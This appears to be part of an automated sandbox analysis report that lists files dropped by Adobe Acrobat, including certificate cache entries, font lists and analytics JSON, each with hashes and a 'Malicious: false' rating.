Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklMnLG+kltfllXlE/HT8kwlZNNX8RolJuRdxLlGB9lQRYwpDdt:kKVnLyeT8hNMa8RdWBwRd
MD5:	0090B88ED9FC5150A87756138023CDE7
SHA1:	523942CE4FB575A6B280625AFADD341DF4D70FAB
SHA-256:	C795A83C34B0C9A600A5304E2B855E10F5507EA8E28EB07B04A8EC60595422D5
SHA-512:	69A11E07046AEB42B31C26EE998DDE1CA98991771866DD6D083DFD7FA42FC2F8176B3CA56E054432B50B8780DDA93C0637AAD595B27B735668FAF551298F4C43
Malicious:	false
Preview:	p...... ........?...c..(....................................................... ..........W....{...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5164

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5164

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3798112090242345
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJM3g98kUwPeUkwRe9:YvXKXktpEZc0vn5GMbLUkee9
MD5:	532EBC55F4AA055FD4CBE735018E78D3
SHA1:	90F69B15FD8007F4133D7BF82E46F94ACBB2F541
SHA-256:	5641D3BA1E0E6436FF4504B1064AE74FC8C638ACAE14A066FBAD22442CC87766
SHA-512:	E00693340366152BFC72659D4199250CDE4CA530033B87C078236197D58DAE55337DCE796F719D51AC3A636D772C848D6157683BAB0B8E943FC7841A76B2C6D3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.32690463377985
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfBoTfXpnrPeUkwRe9:YvXKXktpEZc0vn5GWTfXcUkee9
MD5:	83653CD34CB7EBFC99AEEE0267B67DF2
SHA1:	7F9A5EFFB15498F5FD46847E15764D58FF26CBA6
SHA-256:	5E611D4FCDAA75AAAA3DE1AEB2452B1C3C0B827F1A798C8C656D322E001F9A43
SHA-512:	20FA78D09EF8805A736136F8D56055B480168229032BF90EFA2C8209ADE593D23585D234D4A9B3C4DD3D7369786C911423EE703807B019C7D300DE93456A2790
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.305316307044711
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfBD2G6UpnrPeUkwRe9:YvXKXktpEZc0vn5GR22cUkee9
MD5:	01573715684ACF4F0299D36D793F2DFE
SHA1:	7B090BD8B27831871BD7116B538197E2DBD3C998
SHA-256:	D29623BA79E03A8CF689BB9BC4D04D3715658BDF598B4D71DEBF41752058E5C0
SHA-512:	85B34FCAA3F982F914238CFD0887111004AAFCD9E651DBBC0BD3D904020EADE470B8DA45E9589A34ABBEFEB9A1DE7C553FCCBF2EB40DB9BBFAD31ECFE6D97D54
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.367398831805606
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfPmwrPeUkwRe9:YvXKXktpEZc0vn5GH56Ukee9
MD5:	3BECB08A3BA88A56E49875AFBA63A72D
SHA1:	ECD83E88DBDCB89EE8F8E925AA979C6646316465
SHA-256:	0B8DFDFE34F27ADB0AC3D86E988D44BD984D250C8D45CBF5A1B5FF3B36EFCD14
SHA-512:	DE380BF2C480310B3692A78A2803C0C64627FB6C786A91952E14B3DA2CDF7FE3B875F87BBA8B4D62161722EF2718FE0A07C9F645D2E05DF7FCED289D4834EDF2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.683979218345985
Encrypted:	false
SSDEEP:	24:Yv6XktWzvnepLgE9cQx8LennAvzBvkn0RCmK8czOCCS8:Yv1QWhgy6SAFv5Ah8cv/8
MD5:	B54F277DC3B7596A1E7DA6B4D81D8146
SHA1:	E25B1C371A31D168C95D5E7414DDDBE0AD03CA83
SHA-256:	4C5EC1E77C648CC8AB4EE5902D2F036C6CD0449314B210DD71CFFEB568696A1E
SHA-512:	373A5BE4EBE6A7A6AF5580393890ECD30168B57CFDDF8CFC8364B981649CD542331D436B8A5D96498F636010623FEF4EA3B5D2D03C7BA34640FE304EA0562E75
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.309675978107331
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJf8dPeUkwRe9:YvXKXktpEZc0vn5GU8Ukee9
MD5:	B753554E327C5EC570C1818BC26AFC6E
SHA1:	4E0CF5A5CEE98AA50D5243F51DEBD429B3CB4763
SHA-256:	C82EAF977B2E20DD73B521987A1AB67C3C5E383628C2E3B8612616927000FE29
SHA-512:	9BD1B895DCD4C57CF829D46524B9B5A41F2ABBD0B9F7452F5CCD77E96C04DF2B460D5985AA96EA36399C611FA48A6DD72B33D81322B9FD872D7D7658863416E1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.313202576269054
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfQ1rPeUkwRe9:YvXKXktpEZc0vn5GY16Ukee9
MD5:	73FDA6BAA0E6A9A610D7D9E1F324DF38
SHA1:	4D025030059E0EAC364AAD6E7E981AF27AFAA11E
SHA-256:	20C85CC56CDA9B12915893034C5BBD40CDBBC353EFCDD1151BCFEF551710C09E
SHA-512:	DC049AD9C4ABA77F5E4A1D7AEC1E7157F9A40E834D4D64D3147828C0C7CA7618CE6422216DA4B6B25CEFBCDB06D611910CEA156AA0D2FF7F8FCD7113DB44C8C1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.317882018330139
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfFldPeUkwRe9:YvXKXktpEZc0vn5Gz8Ukee9
MD5:	3CAA17AD9BAA3489C73A3D0040A2809F
SHA1:	1C247FCC21823F7FE5092CB8610F010D10735738
SHA-256:	056F8C133F8D6828C3E6E00C5D871056AD841422D62C28C2005D661CA2AE8A12
SHA-512:	0E736468530DE7D6B41F0F1DF3CF98F3779D0A8BC835B5133585079E53C875BA7BBBBC6EFD1B360D8C8BA54C0945858716570E7D53DB5ABF3930DD49338DDE74
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.335171691024504
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfzdPeUkwRe9:YvXKXktpEZc0vn5Gb8Ukee9
MD5:	1E4441C1D7E903D41D39312131D82F4A
SHA1:	6AD3504826DCF2D0C1E17ED5D593E66D0723F91F
SHA-256:	5C9EA60D01E7477A01081CD06EA15D76BB4B64EADA9828C89A5574974FAC85B6
SHA-512:	EDC2AC4FE3DCE4E414CF58E819AE217223B21A5D409F32B40DA10DFF53B67B1C5DFFB22F0D20B9096D3F808F00B1068E1A6487DBA047955BD35E3E12B76E233F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.316143629025304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfYdPeUkwRe9:YvXKXktpEZc0vn5Gg8Ukee9
MD5:	BA5165E0C4D1DD3681498761D46492A8
SHA1:	C4F9535D8DA2BB7E18EE87CCD738D37DCC3A6AE6
SHA-256:	66D1B5463CF3C681DBA2AA93388D1824A91DB11CBA94F3FBECA2CCBFAD3EF6B7
SHA-512:	B13B7F63FB412189ECB93C4D247F157C015A19443B5C9C1987C3CDF9ADEA1911E7F0E6B38CDBF982420E227EFC16A2D95A0ADB7A2A8ACDCB1A88779B56AC72A5
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.303059574289507
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJf+dPeUkwRe9:YvXKXktpEZc0vn5G28Ukee9
MD5:	E8D7B66FEBA75F051740570F9C75CECA
SHA1:	AD89C59562479F12960CF29C861CF434DB02F442
SHA-256:	1AE1A8D01AC4C0F986A669C6F8B3416D7DE8F15F839D172E594A6D46EC7DDABC
SHA-512:	086F38065FFA174AF6137EA035061B84BE17DD029EA4E4E9C3327ACAA32EFF8970B8A7D3111F10812D4DF97DBE68C665DAE55138F8C1DAA3349D7DCF6B1AAB63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.299579773922362
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJfbPtdPeUkwRe9:YvXKXktpEZc0vn5GDV8Ukee9
MD5:	C682F10172E8D79F13A4DF506017D9CD
SHA1:	AB1007628BF85374178DF9BF9013DC2381B8F18A
SHA-256:	9C23B9CDFEE47F3A0019240786D051093997B68678792135D77CE8DE3E469B36
SHA-512:	8B55F192B4E0804B9082C915B5F472A2E9FC1D19BEC74DA796969BEC6CE08BB5270BEB1E8D7E46691EBBEA8052BB71CEF048D49F1C1E7E5E27E49562C388EDCA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.3044546784923625
Encrypted:	false
SSDEEP:	6:YEQXJ2HXkEInp9VoZcg1vRcR0YYLHKoAvJf21rPeUkwRe9:YvXKXktpEZc0vn5G+16Ukee9
MD5:	F99E1C94187B29F022AFE8DE8EE5478B
SHA1:	AEF720457D1B8EB8B8BA885FBD7A7411EAA83B55
SHA-256:	8565935A975DEB656CC9217774D7637F4FE863A79B65F769B48FC2EBA77D6521
SHA-512:	3E13A197F9276510C37B7E8CAFD8F91BEFC1B229D915534BE2800B522C28B9E6136C4EA6664814DA1E3BBA3FF1279BDA6453B8C391FD03C15FA338E0B739F74E
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"53cbad1e-c6ed-4bd8-8fd5-c03a09b32fe2","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736724011967,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.660567889930991
Encrypted:	false
SSDEEP:	24:Yv6XktWzvnCamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BS8:Yv1QEBgkDMUJUAh8cvM8
MD5:	C0631C3ABC11F913566872C5F125CFC0
SHA1:	EFCBA2B7F10E29042DC5141E1942AC6283A4A424
SHA-256:	69FDDC3C763EF645B5D78EB48E1F3751C4F0B43F2A0E667235456F55B75DFDFE
SHA-512:	CC1C12C79D1C9D3D7FACB569E1E290328FEAFD9564752567FBDF1CE89940AEDE785101E84EF2FAF5B932E3766B554E7732F36D9E674EAFF9BF82867E28E3D324
Malicious:	false
